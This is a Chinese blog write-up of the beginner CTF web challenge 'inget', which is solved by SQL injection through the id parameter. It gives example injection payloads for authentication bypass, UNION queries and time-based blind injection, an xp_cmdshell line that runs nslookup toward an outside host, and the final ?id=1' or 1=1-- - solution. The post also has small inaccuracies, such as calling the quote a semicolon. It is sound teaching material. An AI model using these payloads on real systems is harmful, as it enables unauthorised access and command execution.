【攻防世界】CTF 网络安全学习180天 之 inget

【攻防世界】inget


作者:冰耿
作者其他详细专栏
CTF系统学习专栏https://blog.csdn.net/bing_geng/category_12496105.html
Python爬虫学习专栏https://blog.csdn.net/bing_geng/category_12494819.html

正文

Please enter ID,and Try to bypass
难度:1
方向:Web,SQL注入
题目描述:无

题干界面

在这里插入图片描述

本人思路

  1. 这个题目的题目描述为无,但在进入了题目界面后,提示了这样子的一句话。
    在这里插入图片描述
    翻译过来就是输入id,且尝试绕过,查看源代码,发现源代码只有这一句话,也没有其他信息。

  2. CTF攻防就是信息的整理和收集,然后把所有细节加起来考虑出方向。

    1. 题目 inget,应该是使用get请求的意识
    2. 而提示的那句话,please enter ID,and try to bypass, 猜测应该是以id作为参数,然后尝试绕过
  3. 下面将是我的思路,以id作为参数然后作为绕过
    1)尝试id=1,会出现什么结果。结果就是无事发生,是老样子
    在这里插入图片描述
    2) 尝试把id的位数输大一点,是不是又长度判断.结果还是老样子。然后我猜想是不是id要爆破?所以我在一个虚拟机一边进行了爆破
    在这里插入图片描述
    3) 关键信息里面还有一个很重要的信息就是绕过。所谓绕过最常见的在web安全里面的就是SQL注入,绕过验证。那什么是SQL注入,下面将举几个例子,简单讲讲SQL注入

    SQL注入是一种利用应用程序对用户输入的处理不当而导致的安全漏洞。攻击者通过在用户输入中插入恶意的SQL代码,从而欺骗应用程序执行非预期的数据库操作。这可能导致数据库泄露、数据篡改或未经授权的访问。

SQL注入的常见类型:
Classic SQL Injection:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123';
如果用户输入 admin' OR '1'='1'; -- 作为密码,整个SQL语句变为:

SELECT * FROM users WHERE username = 'admin' AND password = 'admin' OR '1'='1'; --';
效果: 使条件始终为真,绕过身份验证。
Union-Based SQL Injection:

SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admins;
如果用户输入 1 UNION ALL SELECT NULL, NULL, NULL; -- 作为ID,整个SQL语句变为:
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT NULL, NULL, NULL; --';
效果: 将两个查询的结果联合起来,通常用于获取额外的信息。
Time-Based Blind SQL Injection:


SELECT * FROM users WHERE username = 'admin' AND password = 'password123' AND IF(1=1, SLEEP(5), 0);
如果用户输入 admin' AND IF(1=2, SLEEP(5), 0); -- 作为密码,整个SQL语句变为:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin' AND IF(1=2, SLEEP(5), 0); --';
效果: 利用延时函数,根据应用程序是否延时来判断条件是否为真。
Out-of-Band SQL Injection:

SELECT * FROM users WHERE username = 'admin'; -- HTTP request to attacker-controlled server
如果用户输入 admin'; EXEC xp_cmdshell('nslookup example.com'); -- 作为用户名,整个SQL语句变为:
SELECT * FROM users WHERE username = 'admin'; EXEC xp_cmdshell('nslookup example.com'); --';

效果: 利用SQL Server的 xp_cmdshell 执行命令,实现带外数据传输。
防范SQL注入的方法包括使用参数化查询、输入验证和限制数据库用户的权限。开发者应该仔细处理用户输入,确保不会被直接拼接到SQL查询中

4)因此我们尝试使用最容易注入的or,就是下面这个语句
?id=1’ or 1=1-- -

意思:在 id 参数的输入后添加了 or 1=1,其中 1=1 始终为真,注释部分 – - 表示在此之后的所有内容都是注释,不会被执行。(那个分号的作用是关闭原始查询中的字符串,然后插入 or 1=1-- -,如果对分号不太熟悉使用位置,可以多次试验)
效果:使查询条件中至少有一个条件为真,通常用于绕过某些权限控制。
末尾的 – - 是 SQL 中的注释符号,它表示在此之后的所有内容都是注释,不会被执行。这是为了确保恶意注入的部分不会干扰原始查询的执行。

5) 运行界面
在这里插入图片描述

总结

1)较为综合的考察了SQL注入绕过,且提示较其他难度为1的题目较少,是一个学习SQL注入的入门经典例题

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值